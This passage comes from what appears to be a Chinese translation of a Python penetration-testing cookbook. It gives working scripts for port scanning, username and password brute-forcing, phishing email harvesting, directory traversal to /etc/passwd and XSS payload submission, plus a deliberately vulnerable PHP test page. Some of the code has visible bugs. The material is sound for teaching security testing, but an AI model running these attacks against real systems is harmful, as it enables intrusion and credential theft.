ipregex=re.compile("^([0-9]|[1-9][0-9]|1[0-9][0-9]|2[0-4][0- 9]|25[0-5])\.([0-9]|[1-9][0-9]|1[0-9][0-9]|2[0-4][0-9]|25[0- 5])\.([0-9]|[1-9][0-9]|1[0-9][0-9]|2[0-4][0-9]|25[0-5])\.([0- 9]|[1-9][0-9]|1[0-9][0-9]|2[0-4][0-9]|25[0-5])$")

if (ipregex.match(sys.argv[1]) is None):
  print "Starting IP address is invalid"
  sys.exit(0)
if (ipregex.match(sys.argv[1]) is None):
  print "End IP address is invalid"
  sys.exit(0)

一旦 IP 地址被验证,就会进行进一步的检查,以确保提供的范围是有效的,并分配将用于设置循环参数的变量:

iplist1 = sys.argv[1].split(".")
iplist2 = sys.argv[2].split(".")

if not (iplist1[0]==iplist2[0] and iplist1[1]==iplist2[1] and iplist1[2]==iplist2[2])
  print "IP addresses are not in the same class C subnet"
  sys.exit(0)

if iplist1[3]>iplist2[3]:
  print "Starting IP address is greater than ending IP address"
  sys.exit(0)

networkaddr = iplist1[0]+"."+iplist1[1]+"."+iplist[2]+"."

start_ip_last_octet = int(iplist1[3])
end_ip_last_octet = int(iplist2[3])

脚本的下一部分纯粹是信息性的,可以省略。它将打印出要 ping 的 IP 地址范围,或者在提供的两个参数相等的情况下,要 ping 的 IP 地址:

if iplist1[3]<iplist2[3]:
  print "Pinging range "+networkaddr+str(start_ip_last_octet)+"- "+str(end_ip_last_octet)
else
  print "Pinging "+networkaddr+str(startiplastoctect)+"\n"

然后我们进入循环,并开始创建一个 ICMP 数据包:

for x in range(start_ip_last_octet, end_ip_last_octet+1)
  packet=IP(dst=networkaddr+str(x))/ICMP()

之后,我们使用sr1命令发送数据包并接收一个数据包返回:

response = sr1(packet,timeout=2,verbose=0)

最后,我们检查是否收到了响应,以及响应代码是否为0。这是因为响应代码为0表示回显回复。其他代码可能报告无法到达目的地。如果响应通过了这些检查,那么 IP 地址将被追加到livehosts列表中。

if not (response is None):
    if  response[ICMP].type==0:
      livehosts.append(networkaddr+str(x))

如果找到了活动主机,脚本将打印出列表。

使用 Scapy 进行扫描

Scapy 是一个强大的工具,可用于操纵网络数据包。虽然我们不会深入探讨 Scapy 可以完成的所有工作,但我们将在本教程中使用它来确定目标上打开的 TCP 端口。通过识别目标上打开的端口,您可以确定正在运行的服务类型,并使用这些服务进一步进行测试。

如何做...

这是将在给定端口范围内对特定目标执行端口扫描的脚本。它接受目标、端口范围的起始和结束参数:

import logging
logging.getLogger("scapy.runtime").setLevel(logging.ERROR)

import sys 
from scapy.all import *

if len(sys.argv) !=4:
    print "usage: %s target startport endport" % (sys.argv[0])
    sys.exit(0)

target = str(sys.argv[1])
startport = int(sys.argv[2])
endport = int(sys.argv[3])
print "Scanning "+target+" for open TCP ports\n"
if startport==endport:
  endport+=1
for x in range(startport,endport):
    packet = IP(dst=target)/TCP(dport=x,flags="S")
    response = sr1(packet,timeout=0.5,verbose=0)
    if response.haslayer(TCP) and response.getlayer(TCP).flags == 0x12:
    print "Port "+str(x)+" is open!"
    sr(IP(dst=target)/TCP(dport=response.sport,flags="R"), timeout=0.5, verbose=0)

print "Scan complete!\n"

工作原理...

您在本教程中注意到的第一件事是脚本的前两行:

import logging
logging.getLogger("scapy.runtime").setLevel(logging.ERROR)

这些行用于抑制 Scapy 在未配置 IPv6 路由时创建的警告,这会导致以下输出:

WARNING: No route found for IPv6 destination :: (no default route?)

这对于脚本的功能并不是必需的,但在运行时可以使输出更整洁。

接下来的几行将验证参数的数量并将参数分配给脚本中使用的变量。脚本还会检查端口范围的起始和结束是否相同,并递增结束端口以便循环能够工作。

设置完成后,我们将循环遍历端口范围,脚本的真正内容随之而来。首先,我们创建一个基本的 TCP 数据包:

packet = IP(dst=target)/TCP(dport=x,flags="S")

然后我们使用sr1命令。这个命令是send/receive1的缩写。此命令将发送我们创建的数据包并接收返回的第一个数据包。我们提供的其他参数包括超时,因此脚本不会挂起关闭或过滤的端口,我们设置的详细参数将关闭 Scapy 在发送数据包时通常创建的输出。

然后脚本会检查是否有包含 TCP 数据的响应。如果包含 TCP 数据,则脚本将检查 SYN 和 ACK 标志。这些标志的存在将指示 SYN-ACK 响应,这是 TCP 协议握手的一部分,并显示端口是打开的。

如果确定某个端口是打开的,将打印输出以此效果,并且代码的下一行发送重置:

sr(IP(dst=target)/TCP(dport=response.sport,flags="R"),timeout=0.5, verbose=0)

这一行是必要的,以便关闭连接并防止发生 TCP SYN 洪水攻击,如果端口范围和打开端口的数量很大。

还有更多...

在本教程中,我们向您展示了如何使用 Scapy 执行 TCP 端口扫描。本教程中使用的技术可以被调整以在主机上执行 UDP 端口扫描或在一系列主机上执行 ping 扫描。

这只是触及 Scapy 能力的表面。有关更多信息,一个很好的起点是官方 Scapy 网站www.secdev.org/projects/scapy/

检查用户名的有效性

在进行侦察时,您可能会遇到网络应用程序的部分,这些部分将允许您确定某些用户名是否有效。一个典型的例子是当您忘记密码时,页面允许您请求密码重置。例如,如果页面要求您输入用户名以进行密码重置,它可能会根据用户名是否存在而给出不同的响应。因此,如果用户名不存在,页面可能会响应“找不到用户名”或类似的内容。但是,如果用户名存在,它可能会将您重定向到登录页面,并通知您“密码重置说明已发送到您注册的电子邮件地址”。

准备工作

每个网络应用程序可能都不同。因此,在继续创建用户名检查工具之前,您需要进行侦察。您需要找到的详细信息包括访问请求密码重置的页面,需要发送到该页面的参数,以及成功或失败结果的情况。

如何做...

一旦您了解了目标上密码重置请求的工作原理,就可以组装您的脚本。以下是您的工具的示例:

#basic username check
import sys
import urllib
import urllib2

if len(sys.argv) !=2:
    print "usage: %s username" % (sys.argv[0])
    sys.exit(0)

url = "http://www.vulnerablesite.com/resetpassword.html"
username = str(sys.argv[1])
data = urllib.urlencode({"username":username})
response = urllib2.urlopen(url,data).read()
UnknownStr="Username not found"
if(response.find(UnknownStr)<0):
  print "Username does not exist\n"
else
  print "Username exists!"

以下显示了使用此脚本时产生的输出示例:

user@pc:~# python usernamecheck.py randomusername

Username does not exist

user@pc:~# python usernamecheck.py admin

Username exists!

它是如何工作的...

在验证了参数数量并将参数分配给变量之后,我们使用urllib模块对要提交到页面的数据进行编码:

data = urllib.urlencode({"username":username})

然后我们寻找指示请求由于不存在的用户名而失败的字符串:

UnknownStr="Username not found"

find(str)的结果并不是简单的 true 或 false。相反,它将返回在字符串中找到子字符串的位置。但是,如果它没有找到您正在搜索的子字符串,它将返回1

还有更多...

此示例可以适应其他情况。密码重置可能会要求输入电子邮件地址而不是用户名。或者成功的响应可能会显示用户注册的电子邮件地址。重要的是要注意可能会透露比应该更多信息的 Web 应用程序的情况。

另请参阅

对于更大的工作,您将希望考虑使用暴力破解用户名示例。

暴力破解用户名

对于小型但常规的情况,一个快速检查工具就足够了。那么对于更大的工作呢?也许您从开源情报收集中获得了大量数据,并且想要查看这些用户中有多少使用您正在针对的应用程序。这个示例将向您展示如何自动化检查您在文件中存储的用户名的过程。

准备工作

在使用此示例之前,您需要获取要测试的用户名列表。这可以是您自己创建的内容,也可以使用 Kali 中找到的字典。如果需要创建自己的列表,一个好的起点是使用可能在 Web 应用程序中找到的常见名称。这些可能包括用户名,如useradminadministrator等。

如何做...

此脚本将尝试检查提供的用户名列表,以确定该应用程序中是否存在帐户:

#brute force username enumeration
import sys
import urllib
import urllib2

if len(sys.argv) !=2:
    print "usage: %s filename" % (sys.argv[0])
    sys.exit(0)

filename=str(sys.argv[1])
userlist = open(filename,'r')
url = "http://www.vulnerablesite.com/forgotpassword.html"
foundusers = []
UnknownStr="Username not found"

for user in userlist:
  user=user.rstrip()
  data = urllib.urlencode({"username":user})
  request = urllib2.urlopen(url,data)
  response = request.read()

  if(response.find(UnknownStr)>=0):
    foundusers.append(user)
  request.close()
userlist.close()

if len(foundusers)>0:
  print "Found Users:\n"
  for name in foundusers:
    print name+"\n"
else:
  print "No users found\n"

以下是此脚本的输出示例:

python bruteusernames.py userlist.txt
Found Users:
admin
angela
bob
john

它是如何工作的...

此脚本引入了比基本用户名检查更多的概念。其中之一是打开文件以加载我们的列表:

userlist = open(filename,'r')

这将打开包含我们用户名列表的文件,并将其加载到我们的userlist变量中。然后我们循环遍历列表中的用户。在此示例中,我们还使用了以下代码行:

user=user.strip()

此命令会去除空格,包括换行符,有时这会改变提交前的编码结果。

如果用户名存在,则将其附加到列表中。当所有用户名都已检查时,将输出列表的内容。

另请参阅

对于单个用户名,您将希望使用基本用户名检查示例。

枚举文件

在枚举 Web 应用程序时,您将希望确定哪些页面存在。通常使用的常见做法是所谓的蜘蛛爬行。蜘蛛爬行通过访问网站,然后跟踪该页面内的每个链接以及该网站内的任何后续页面。但是,对于某些网站,例如维基,如果链接在访问时执行编辑或删除功能,则此方法可能导致数据被删除。此示例将取而代之,它将获取常见的 Web 页面文件名列表,并检查它们是否存在。

准备工作

对于这个示例,您需要创建一个常见的页面名称列表。渗透测试发行版,如 Kali Linux,将配备各种暴力破解工具的字典,这些字典可以用来代替生成您自己的字典。

如何做...

以下脚本将获取可能的文件名列表,并测试页面是否存在于网站中:

#bruteforce file names
import sys
import urllib2

if len(sys.argv) !=4:
    print "usage: %s url wordlist fileextension\n" % (sys.argv[0])
    sys.exit(0)

base_url = str(sys.argv[1])
wordlist= str(sys.argv[2])
extension=str(sys.argv[3])
filelist = open(wordlist,'r')
foundfiles = []

for file in filelist:
  file=file.strip("\n")
  extension=extension.rstrip()
  url=base_url+file+"."+str(extension.strip("."))
  try:
    request = urllib2.urlopen(url)
    if(request.getcode()==200):
      foundfiles.append(file+"."+extension.strip("."))
    request.close()
  except urllib2.HTTPError, e:
    pass

if len(foundfiles)>0:
  print "The following files exist:\n"
  for filename in foundfiles:
    print filename+"\n"
else:
  print "No files found\n"

以下输出显示了针对Damn Vulnerable Web App (DVWA)使用常见网页列表运行时可能返回的内容:

python filebrute.py http://192.168.68.137/dvwa/ filelist.txt .php
The following files exist:

index.php

about.php

login.php

security.php

logout.php

setup.php

instructions.php

phpinfo.php

工作原理…

导入必要的模块并验证参数的数量后,要检查的文件名列表以只读模式打开,这由文件的open操作中的r参数表示:

filelist = open(wordlist,'r')

当脚本进入文件名列表的循环时,会从文件名中剥离任何换行符,因为这会影响检查文件名存在时 URL 的创建。如果提供的扩展名中存在前置的.,那么也会被剥离。这允许使用包含或不包含前置.的扩展名,例如.phpphp

  file=file.strip("\n")
  extension=extension.rstrip()
  url=base_url+file+"."+str(extension.strip("."))

然后脚本的主要操作是检查给定文件名的网页是否存在,通过检查HTTP 200代码并捕获任何不存在页面的错误:

  try:
    request = urllib2.urlopen(url)
    if(request.getcode()==200):
      foundfiles.append(file+"."+extension.strip("."))
    request.close()
  except urllib2.HTTPError, e:
    pass

暴力破解密码

暴力破解可能不是最优雅的解决方案,但它将自动化可能是一项单调的任务。通过使用自动化,您可以更快地完成任务,或者至少可以让自己有时间同时处理其他事情。

准备工作

要使用此方法,您需要一个要测试的用户名列表,还需要一个密码列表。虽然这不是暴力破解的真正定义,但它会减少您要测试的组合数量。

注意

如果您没有密码列表可用,网上有许多可用的列表,例如 GitHub 上的前 10000 个最常见密码,链接在github.com/neo/discourse_heroku/blob/master/lib/common_passwords/10k-common-passwords.txt

操作步骤…

以下代码显示了如何实现此方法的示例:

#brute force passwords
import sys
import urllib
import urllib2

if len(sys.argv) !=3:
    print "usage: %s userlist passwordlist" % (sys.argv[0])
    sys.exit(0)

filename1=str(sys.argv[1])
filename2=str(sys.argv[2])
userlist = open(filename1,'r')
passwordlist = open(filename2,'r')
url = "http://www.vulnerablesite.com/login.html"
foundusers = []
FailStr="Incorrect User or Password"

for user in userlist:
  for password in passwordlist:
    data = urllib.urlencode({"username="user&"password="password})
    request = urllib2.urlopen(url,data)
    response = request.read()
    if(response.find(FailStr)<0)
      foundcreds.append(user+":"+password)
    request.close()

if len(foundcreds)>0:
  print "Found User and Password combinations:\n"
  for name in foundcreds:
    print name+"\n"
else:
  print "No users found\n"

以下是运行脚本时产生的输出示例:

python bruteforcepasswords.py userlists.txt passwordlist.txt

Found User and Password combinations:

root:toor

angela:trustno1

bob:password123

john:qwerty

工作原理…

在最初导入必要的模块并检查系统参数后,我们设置了密码检查:

filename1=str(sys.argv[1])
filename2=str(sys.argv[2])
userlist = open(filename1,'r')
passwordlist = open(filename2,'r')

文件名参数存储在变量中,然后被打开。r变量表示我们以只读方式打开这些文件。

我们还指定了目标,并初始化一个数组来存储我们找到的任何有效凭据:

url = "http://www.vulnerablesite.com/login.html"
foundusers = []
FailStr="Incorrect User or Password"

前面代码中的FailStr变量只是为了让我们的生活更轻松,通过使用一个简短的变量名来代替整个字符串的输入。

此方法的主要部分在一个嵌套循环中,我们在其中进行自动密码检查:

for user in userlist:
  for password in passwordlist:
    data = urllib.urlencode({"username="user&"password="password })
    request = urllib2.urlopen(url,data)
    response = request.read()
    if(response.find(FailStr)<0)
      foundcreds.append(user+":"+password)
    request.close()

在此循环中,将发送一个包含用户名和密码的请求。如果响应不包含指示用户名和密码组合无效的字符串,那么我们知道我们有一组有效的凭据。然后将这些凭据添加到我们之前创建的数组中。

一旦尝试了所有的用户名和密码组合,我们就会检查数组,看看是否有任何凭据。如果有,我们就打印出凭据。如果没有,我们就打印出一个悲伤的消息,告诉我们我们什么都没找到:

if len(foundcreds)>0:
  print "Found User and Password combinations:\n"
  for name in foundcreds:
    print name+"\n"
else:
  print "No users found\n"

另请参阅

如果您想要查找用户名,您可能还想使用检查用户名有效性暴力破解用户名的方法。

从名称生成电子邮件地址

在某些情况下,您可能有一个目标公司的员工名单,并且想要生成一个电子邮件地址列表。电子邮件地址可能会有用。您可能想要使用它们来执行网络钓鱼攻击,或者您可能想要使用它们来尝试登录到公司的应用程序,例如包含敏感内部文档的电子邮件或企业门户。

准备工作

在使用此示例之前,您需要有一个要处理的姓名列表。如果没有姓名列表,您可能首先要考虑对目标进行开源情报练习。

如何做...

以下代码将获取一个包含姓名列表的文件,并生成不同格式的电子邮件地址列表:

import sys

if len(sys.argv) !=3:
  print "usage: %s name.txt email suffix" % (sys.argv[0])
  sys.exit(0)
for line in open(sys.argv[1]):
  name = ''.join([c for c in line if c == " " or c.isalpha()])
  tokens = name.lower().split()
  fname = tokens[0]
  lname = tokens[-1]
  print fname+lname+sys.argv[2]
  print lname+fname+sys.argv[2]
  print fname+"."+lname+sys.argv[2]
  print lname+"."+fname+sys.argv[2]
  print lname+fname[0]+sys.argv[2]
  print fname+lname+fname+sys.argv[2]
  print fname[0]+lname+sys.argv[2]
  print fname[0]+"."+lname+sys.argv[2]
  print lname[0]+"."+fname+sys.argv[2]
  print fname+sys.argv[2]
  print lname+sys.argv[2]

它是如何工作的...

此示例中的主要机制是使用字符串连接。通过将名字或姓氏的不同组合与电子邮件后缀连接起来,您可以得到一个潜在的电子邮件地址列表,然后可以在以后的测试中使用。

还有更多...

所示的示例显示了如何使用姓名列表生成电子邮件地址列表。但并非所有电子邮件地址都是有效的。您可以通过在公司的应用程序中使用枚举技术来进一步缩小此列表,这可能会揭示电子邮件地址是否存在。您还可以进行进一步的开源情报调查,这可能会让您确定目标组织的电子邮件地址的正确格式。如果您成功做到了这一点,那么您可以从示例中删除任何不必要的格式,以生成更简洁的电子邮件地址列表,这将在以后为您提供更大的价值。

另请参阅

一旦您获得了电子邮件地址,您可能希望将它们作为检查用户名有效性示例的一部分使用。

从网页中查找电子邮件地址

与其生成自己的电子邮件列表,您可能会发现目标组织在其网页上存在一些电子邮件地址。这可能会比您自己生成的电子邮件地址具有更高的价值,因为目标组织网站上的电子邮件地址的有效性可能会比您尝试猜测的要高得多。

准备工作

对于此示例,您需要一个要解析电子邮件地址的页面列表。您可能希望访问目标组织的网站,并搜索站点地图。然后可以解析站点地图以获取存在于网站内的页面链接。

如何做...

以下代码将解析 URL 列表的响应,查找与电子邮件地址格式匹配的文本实例,并将它们保存到文件中:

import urllib2
import re
import time
from random import randint
regex = re.compile(("([a-z0-9!#$%&'*+\/=?^_'{|}~-]+(?:\.[a-z0- 9!#$%&'*+\/=?^_'"
                    "{|}~-]+)*(@|\sat\s)(?:a-z0-9?(\.|"
                    "\sdot\s))+a-z0-9?)"))

tarurl = open("urls.txt", "r")
for line in tarurl:
  output = open("emails.txt", "a")
  time.sleep(randint(10, 100))
  try: 
    url = urllib2.urlopen(line).read()
    output.write(line)
    emails = re.findall(regex, url)
    for email in emails:
      output.write(email[0]+"\r\n")
      print email[0]
  except:
    pass
    print "error"
  output.close()

它是如何工作的...

导入必要的模块后,您将看到regex变量的赋值:

regex = re.compile(("([a-z0-9!#$%&'*+\/=?^_'{|}~-]+(?:\.[a-z0- 9!#$%&'*+\/=?^_'"
                    "{|}~-]+)*(@|\sat\s)(?:a-z0-9?(\.|"
                    "\sdot\s))+a-z0-9?)"))

这尝试匹配电子邮件地址格式,例如victim@target.com,或者 victim at target dot com。然后,代码打开一个包含 URL 的文件:

tarurl = open("urls.txt", "r")

您可能会注意到参数r的使用。这以只读模式打开文件。然后,代码循环遍历 URL 列表。在循环内,打开一个文件来保存电子邮件地址:

output = open("emails.txt", "a")

这次使用了参数a。这表示对该文件的任何输入都将被追加而不是覆盖整个文件。脚本利用睡眠计时器以避免触发目标可能已经设置的任何防护措施来防止攻击:

time.sleep(randint(10, 100))

此计时器将暂停脚本,随机间隔时间在10100秒之间。

在使用urlopen()方法时,异常处理是至关重要的。如果urlopen()的响应是404(HTTP 未找到错误),那么脚本将出错并退出。

如果有有效的响应,脚本将把所有电子邮件地址的实例存储在emails变量中:

emails = re.findall(regex, url)

然后,它将循环遍历emails变量,并将列表中的每个项目写入emails.txt文件,并在控制台上输出以进行确认:

    for email in emails:
      output.write(email[0]+"\r\n")
      print email[0]

还有更多...

本示例中使用的正则表达式匹配了互联网上表示电子邮件地址的两种常见格式。在学习和调查过程中,您可能会遇到其他您想要包含在匹配中的格式。有关 Python 中正则表达式的更多信息,您可以阅读 Python 网站上有关正则表达式的文档docs.python.org/2/library/re.html

另请参阅

有关更多信息,请参阅食谱从名称生成电子邮件地址

在源代码中查找注释

常见的安全问题是由良好的编程实践引起的。在 Web 应用程序的开发阶段,开发人员会注释他们的代码。这在开发阶段非常有用,因为它有助于理解代码,并将作为各种原因的有用提醒。然而,当 Web 应用程序准备在生产环境中部署时,最佳做法是删除所有这些注释,因为它们可能对攻击者有用。

本示例将结合使用RequestsBeautifulSoup来搜索 URL 中的注释,以及在页面上搜索链接,并在这些后续 URL 中搜索注释。从页面上跟踪链接并分析这些 URL 的技术称为爬虫。

如何做…

以下脚本将在源代码中抓取 URL 的注释和链接。然后还将执行有限的爬虫并搜索链接的 URL 以查找注释:

import requests
import re

from bs4 import BeautifulSoup
import sys

if len(sys.argv) !=2:
    print "usage: %s targeturl" % (sys.argv[0])
    sys.exit(0)

urls = []

tarurl = sys.argv[1]
url = requests.get(tarurl)
comments = re.findall('<!--(.*)-->',url.text)
print "Comments on page: "+tarurl
for comment in comments:
    print comment

soup = BeautifulSoup(url.text)
for line in soup.find_all('a'):
    newline = line.get('href')
    try:
        if newline[:4] == "http":
            if tarurl in newline:
                urls.append(str(newline))
        elif newline[:1] == "/":
            combline = tarurl+newline
            urls.append(str(combline))
    except:
        pass
        print "failed"
for uurl in urls:
    print "Comments on page: "+uurl
    url = requests.get(uurl)
    comments = re.findall('<!--(.*)-->',url.text)
    for comment in comments:
        print comment

它的工作原理…

在导入必要的模块并设置变量之后,脚本首先获取目标 URL 的源代码。

您可能已经注意到,对于Beautifulsoup,我们有以下行:

from bs4 import BeautifulSoup

这样,当我们使用BeautifulSoup时,我们只需输入BeautifulSoup而不是bs4.BeautifulSoup

然后搜索所有 HTML 注释的实例并将其打印出来:

url = requests.get(tarurl)
comments = re.findall('<!--(.*)-->',url.text)
print "Comments on page: "+tarurl
for comment in comments:
    print comment

然后,脚本将使用Beautifulsoup来抓取源代码中任何绝对(以http开头)和相对(以/开头)链接的实例:

if newline[:4] == "http":
            if tarurl in newline:
                urls.append(str(newline))
        elif newline[:1] == "/":
            combline = tarurl+newline
            urls.append(str(combline))

一旦脚本整理出从页面链接出去的 URL 列表,它将搜索每个页面的 HTML 注释。

还有更多…

本示例展示了注释抓取和爬虫的基本示例。可以根据需要为此示例添加更多智能。例如,您可能希望考虑使用以..开头的相对链接来表示当前目录和父目录。

您还可以对爬虫部分进行更多控制。您可以从提供的目标 URL 中提取域,并创建一个过滤器,不会抓取目标外部的域的链接。这对于需要遵守目标范围的专业工作特别有用。

第三章:漏洞识别

在本章中,我们将涵盖以下主题:

  • 自动化基于 URL 的目录遍历

  • 自动化跨站脚本(参数和 URL)

  • 自动化基于参数的跨站脚本

  • 自动模糊测试

  • jQuery 检查

  • 基于头部的跨站脚本

  • Shellshock 检查

介绍

本章重点介绍从开放式 Web 应用安全项目OWASP)的前 10 个传统 Web 应用程序漏洞。这将包括跨站脚本XSS),目录遍历以及那些简单到不需要单独章节检查的其他漏洞。本章提供了每个脚本的基于参数和基于 URL 的版本,以适应任何情况并减少单个脚本的复杂性。大多数这些工具都有完全成熟的替代方案,比如 Burp Intruder。看到每个工具以其简单的 Python 形式的好处在于,它让你了解如何构建和制作自己的版本。

自动化基于 URL 的目录遍历

偶尔,网站使用不受限制的函数调用文件;这可能导致传说中的目录遍历或直接对象引用DOR)。在这种攻击中,用户可以通过使用一个易受攻击的参数在网站的上下文中调用任意文件。这可以通过两种方式进行操纵:首先,通过提供绝对链接,比如/etc/passwd,这表示从root目录浏览到etc目录并打开passwd文件,其次,相对链接,可以向上遍历目录以达到root目录并访问目标文件。

我们将创建一个脚本,尝试逐渐增加 URL 参数中的向上目录数量,以打开 Linux 机器上始终存在的文件/etc/passwd。它将通过检测到指示文件已被打开的短语 root 来确定何时成功。

准备工作

确定您要测试的 URL 参数。此脚本已配置为与大多数设备一起使用:etc/passwd应该适用于 OSX 和 Linux 安装,boot.ini应该适用于 Windows 安装。查看本示例的末尾,以获取可用于测试脚本有效性的 PHP 网页。

我们将使用可以通过pip安装的 requests 库。在作者看来,它在功能和可用性方面比urllib更好。

如何做…

一旦确定要攻击的参数,请将其作为命令行参数传递给脚本。您的脚本应与以下脚本相同:

import requests
import sys
url = sys.argv[1]
payloads = {'etc/passwd': 'root', 'boot.ini': '[boot loader]'}
up = "../"
i = 0
for payload, string in payloads.iteritems():
  for i in xrange(7):
    req = requests.post(url+(i*up)+payload)
    if string in req.text:
      print "Parameter vulnerable\r\n"
      print "Attack string: "+(i*up)+payload+"\r\n"
      print req.text
      break

使用此脚本时产生的输出示例如下:

Parameter vulnerable

Attack string: ../../../../../etc/passwd

Get me /etc/passwd! File Contents:root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin

它是如何工作的…

我们导入我们在本书中到目前为止所需的库,就像我们做的其他脚本一样:

url = sys.argv[1]

然后,我们以 URL 的形式输入。由于我们使用requests库,我们应该确保我们的 URL 与 requests 期望的形式匹配,即http(s)://url。如果你搞错了,requests 会提醒你:

payloads = {'etc/passwd': 'root', 'boot.ini': '[boot loader]'}

我们建立我们将在每次攻击中发送的有效载荷的字典。每对中的第一个值是我们希望尝试加载的文件,第二个值是肯定会在该文件中的值。第二个值越具体,错误报告就会越少;但是,这可能会增加错误否定的机会。请随意在这里包含你自己的文件:

up = "../"
i = 0

我们提供向上目录的快捷方式../并将其分配给向上变量,并将我们的循环计数器设置为0

for payload, string in payloads.iteritems():
  while i < 7:

Iteritems方法允许我们遍历字典并将每个键和值分配给变量。我们将第一个值分配为负载,第二个值分配为字符串。然后我们限制我们的循环,以防失败时无限重复。我将其设置为7,尽管这可以设置为任何您喜欢的值。请记住,Web 应用程序的目录结构可能高于7的可能性:

req = requests.post(url+(i*up)+payload)

我们通过获取我们的根 URL,并根据循环和负载的当前数量附加上级目录的当前数量来构建我们的请求。然后将其发送到一个 post 请求中:

if string in req.text:
      print "Parameter vulnerable\r\n"
      print "Attack string: "+(i*up)+payload+"\r\n"
      print req.text
      break

我们通过查看响应中是否包含我们预期的字符串来检查是否已经实现了我们的目标。如果字符串存在,我们将停止循环,并打印出攻击字符串以及成功攻击的响应。这样可以让我们手动验证攻击是否成功,或者代码是否需要重构,或者 Web 应用程序是否存在漏洞。

    i = i+1
  i = 0

最后,计数器将添加到每个循环,直到达到预设的最大值。一旦达到最大值,它将被设置为下一个攻击字符串。

还有更多

这个方法可以通过应用本书其他地方展示的原则来适应通过参数工作。但是,由于页面通过参数调用的罕见性和故意的简洁性,这一点没有提供。

正如前面提到的,这可以通过添加额外的文件及其常见的字符串来扩展。一旦已经确定了目录遍历和到达根目录所需的深度,也可以扩展到抓取所有有趣的文件。

以下是一个 PHP 网页,可以让您在自己的构建上测试此脚本。只需将其放在您的var/www目录或您使用的其他解决方案中。不要在未知网络上保持此活动状态:

<?php
echo "Get me /etc/passwd! File Contents";
if (!isset($_REQUEST['id'])){
header( 'Location: /traversal/first.php?id=1' ) ;
}
if (isset($_REQUEST['id'])){
  if ($_REQUEST['id'] == "1"){
    $file = file_get_contents("data.html", true);
    echo $file;}

else{
  $file = file_get_contents($_REQUEST['id']);
  echo $file;
}
}?>

自动化基于 URL 的跨站脚本攻击

反射型跨站脚本攻击通常通过基于 URL 的参数发生。你应该知道什么是跨站脚本攻击,如果你不知道,我为你感到尴尬。真的吗?我必须解释这个?好吧。跨站脚本攻击是将 JavaScript 注入到页面中。这是黑客入门课程,也是大多数人遇到或听说的第一种攻击。阻止跨站脚本攻击的低效方法主要集中在针对脚本标签,而脚本标签并不是在页面中使用 JavaScript 的必要条件,因此有许多绕过方法。

我们将创建一个脚本,采用各种标准的规避技术,并使用Requests库将它们应用于自动提交。我们将知道脚本是否成功,因为要么脚本本身,要么它的早期版本将出现在提交后的页面上。

如何做…

我们将使用的脚本如下:

import requests
import sys
url = sys.argv[1]
payloads = ['<script>alert(1);</script>', '<BODY ONLOAD=alert(1)>']
for payload in payloads:
  req = requests.post(url+payload)
  if payload in req.text:
    print "Parameter vulnerable\r\n"
    print "Attack string: "+payload
    print req.text
    break

使用此脚本时产生的输出示例如下:

Parameter vulnerable

Attack string: <script>alert(1);</script>

Give me XSS:
<script>alert(1);</script>

工作原理…

这个脚本类似于之前的目录遍历脚本。这次我们创建一个负载列表,而不是字典,因为检查字符串和负载是相同的:

payloads = ['<script>alert(1);</script>', '<BODY ONLOAD=alert(1)>']

然后,我们使用与之前相似的循环来逐个提交这些值:

for payload in payloads:
  req = requests.post(url+payload)

每个负载都被附加到我们的 URL 的末尾,以便作为未结束的参数发送,例如127.0.0.1/xss/xss.php?comment=。负载将被添加到该字符串的末尾,以便形成一个有效的语句。然后我们检查该字符串是否出现在以下页面中:

if payload in req.text:
    print "Parameter vulnerable\r\n"
    print "Attack string: "+payload
    print req.text
    break

跨站脚本攻击非常简单,非常容易自动化和检测,因为攻击字符串通常与结果相同。与目录遍历或 SQLi(稍后我们将遇到)的困难在于结果并不总是可预测的。而在成功的跨站脚本攻击中,它是可预测的。

还有更多…

这种攻击可以通过提供更多的攻击字符串来扩展。许多示例可以在 Mozilla FuzzDB 中找到,我们将在自动模糊部分脚本中使用。此外,可以使用原始的urllib库应用各种编码形式,这在本书的各种不同示例中都有展示。

自动参数化跨站脚本

我已经说过跨站脚本非常容易。有趣的是,以脚本方式执行存储的跨站脚本略微困难。我可能应该在这一点上收回我先前的话,但无论如何。这里的困难在于系统通常从一个页面接受输入结构,提交到另一个页面,并返回第三个页面。以下脚本旨在处理这种最复杂的结构。

我们将创建一个脚本,它接受三个输入值,正确读取并提交所有三个值,并检查是否成功。它与之前基于 URL 的跨站脚本共享代码,但在执行上有根本的不同。

如何操作…

以下脚本是功能测试。这是一个脚本,旨在在类似 Sublime Text 或 IDE 的框架中手动编辑,因为存储的 XSS 可能需要调整:

import requests
import sys
from bs4 import BeautifulSoup, SoupStrainer
url = "http://127.0.0.1/xss/medium/guestbook2.php"
url2 = "http://127.0.0.1/xss/medium/addguestbook2.php"
url3 = "http://127.0.0.1/xss/medium/viewguestbook2.php"
payloads = ['<script>alert(1);</script>', '<scrscriptipt>alert(1);</scrscriptipt>', '<BODY ONLOAD=alert(1)>']
initial = requests.get(url)
for payload in payloads:
  d = {}
  for field in BeautifulSoup(initial.text, parse_only=SoupStrainer('input')):
          if field.has_attr('name'):
            if field['name'].lower() == "submit":
              d[field['name']] = "submit"
            else:
              d[field['name']] = payload
  req = requests.post(url2, data=d)
  checkresult = requests.get(url3)

  if payload in checkresult.text:
    print "Full string returned"
    print "Attack string: "+ payload

以下是使用此脚本时产生的输出示例,其中包含两个成功的字符串:

Full string returned
Attack string: <script>alert(1);</script>
Full string returned
Attack string: <BODY ONLOAD=alert(1)>

它是如何工作的…

我们导入我们的库作为时间和时间之前,并建立我们要攻击的 URL。在这里,url是带有要攻击的参数的页面,url2是要提交内容的页面,url3是要读取的最终页面,以便检测攻击是否成功。其中一些 URL 可能是共享的。它们以这种形式设置,因为很难为存储的跨站脚本制作点对点脚本:

url = "http://127.0.0.1/xss/medium/guestbook2.php"
url2 = "http://127.0.0.1/xss/medium/addguestbook2.php"
url3 = "http://127.0.0.1/xss/medium/viewguestbook2.php"

然后,我们建立一个负载列表。与基于 URL 的 XSS 脚本一样,负载和检查值是相同的:

payloads = ['<script>alert(1);</script>', '<scrscriptipt>alert(1);</scrscriptipt>', '<BODY ONLOAD=alert(1)>']

然后,我们创建一个空字典,将负载与每个识别的输入框配对:

d = {}

我们的目标是攻击页面中的每个输入参数,因此接下来,我们读取我们的目标页面:

initial = requests.get(url)

